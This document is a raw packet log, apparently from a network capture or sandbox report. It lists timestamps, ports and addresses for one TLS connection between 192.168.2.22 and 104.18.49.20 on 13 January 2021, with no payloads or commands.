Jan 13, 2021 13:45:17.546452045 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.546503067 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.547317982 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.547354937 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.547393084 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.547403097 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.548296928 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.548336983 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.548355103 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.548373938 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.548415899 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.549209118 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.549247980 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.549283028 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.549294949 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.550170898 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.550213099 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.550230980 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.550251007 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.550296068 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.551147938 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.551187992 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.551223040 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.551234961 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.552097082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.552138090 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.552162886 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.552174091 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.552221060 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.553090096 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.553129911 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.553167105 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.553184986 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.554022074 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.554063082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.554080963 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.554097891 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.554151058 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.554929018 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.554980993 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.555027008 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.555032969 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.555973053 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.556014061 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.556030989 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.556050062 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.556324005 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.556938887 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.556977987 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.557014942 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.557071924 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.557784081 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.557823896 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.557858944 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.557879925 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.558733940 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.558772087 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.558793068 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.558809996 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.558862925 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.559705973 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.559743881 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.559791088 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.559794903 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.561028004 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561068058 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561088085 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.561105013 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561158895 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.561654091 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561702013 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561760902 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.561765909 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.562644005 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.562690020 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.562702894 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.562731981 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.562832117 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.563472033 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.563512087 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.563549995 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.563652039 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.564528942 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.564568043 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.564604998 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.564671040 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.565442085 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.565491915 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.565534115 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.565603971 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.566394091 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.566435099 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.566472054 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.566546917 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.567358017 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.567415953 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.567456961 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.567497015 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.568262100 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.568310976 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.568346977 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.568351030 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.568424940 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.569226980 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.569264889 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.569302082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.569329023 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.570169926 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.570218086 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.570245981 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.570259094 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.570322037 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.571105957 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.571146965 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.571182966 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.571211100 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.572107077 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.572146893 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.572170973 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.572182894 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.572895050 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.573021889 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.573060036 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.573095083 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.573113918 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.574007988 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.574064970 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.574064970 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.574143887 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.574196100 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.574943066 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.574982882 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.575020075 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.575035095 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.575891018 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.575932026 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.575953960 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.575968981 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.576225042 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.576837063 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.576884985 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.576925993 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.576939106 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.577744007 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.577784061 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.577816010 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.577819109 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.577881098 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.578701019 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.578739882 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.578785896 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.578799963 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.579685926 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.579725027 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.579756021 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.579761982 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.580024958 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.580611944 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.580651045 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.580686092 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.580705881 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.581589937 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.581631899 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.581655025 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.581667900 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.581721067 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.582556963 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.582597971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.582637072 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.582673073 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.583482027 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.583549023 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.607681036 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.607723951 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.607760906 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.607777119 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.608077049 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608118057 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608130932 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.608155012 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608211040 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.608854055 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608922005 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608961105 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.608989954 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.609617949 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.609656096 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.609669924 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.609702110 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.609752893 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.610435963 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.610487938 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.610539913 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.610562086 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611155987 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611192942 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611246109 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.611252069 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611876011 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611915112 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.611946106 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.611958027 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.612011909 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.612627983 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.612664938 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.612701893 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.612714052 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.613379002 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.613449097 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.614269018 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614308119 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614345074 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614356995 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.614382029 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614429951 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.614711046 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614758968 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614799023 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614808083 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.614835978 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.614887953 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.615778923 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.615818977 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.615854025 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.615865946 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.615900040 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.615952015 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.616667032 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.616707087 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.616743088 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.616755009 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.616780043 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.617058992 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.617567062 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.617604971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.617641926 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.617655039 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.617679119 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.617731094 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.618504047 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.618551970 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.618592024 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.618604898 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.618628025 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.618679047 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.619431973 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.619496107 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.619534969 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.619580984 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.619582891 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.620342016 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.620378971 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.620392084 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.620425940 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.620467901 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.620475054 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.621228933 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.621268034 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.621279955 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.621303082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.621340990 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.621347904 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.622236967 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.622313023 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.622354984 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.622394085 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.622432947 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.622448921 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.623158932 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.623197079 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.623215914 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.623234034 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.623270988 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.623281956 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.624002934 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624059916 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.624089003 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624172926 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624212027 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624224901 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.624798059 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624839067 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624854088 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.624876022 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624911070 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.624959946 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.625628948 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.625699043 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.625749111 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.625765085 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.625787020 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.625839949 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.626095057 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626136065 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626185894 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.626204967 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626384020 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626420975 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626432896 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.626467943 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626509905 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626523018 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.626545906 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626745939 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.626930952 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.626971960 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627007961 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627029896 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.627054930 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627096891 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627101898 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.627171040 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627211094 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627218008 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.627257109 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627309084 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.627845049 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627882004 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627918005 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.627939939 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.627955914 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628000975 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.628002882 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628045082 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628081083 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628103971 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.628118992 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628292084 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.628750086 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628799915 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628840923 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628849030 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.628885984 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628932953 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.628943920 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.628989935 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629031897 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629044056 CET	49206	443	192.168.2.22	104.18.49.20
Jan 13, 2021 13:45:17.629067898 CET	443	49206	104.18.49.20	192.168.2.22
Jan 13, 2021 13:45:17.629245043 CET	49206	443	192.168.2.22	104.18.49.20
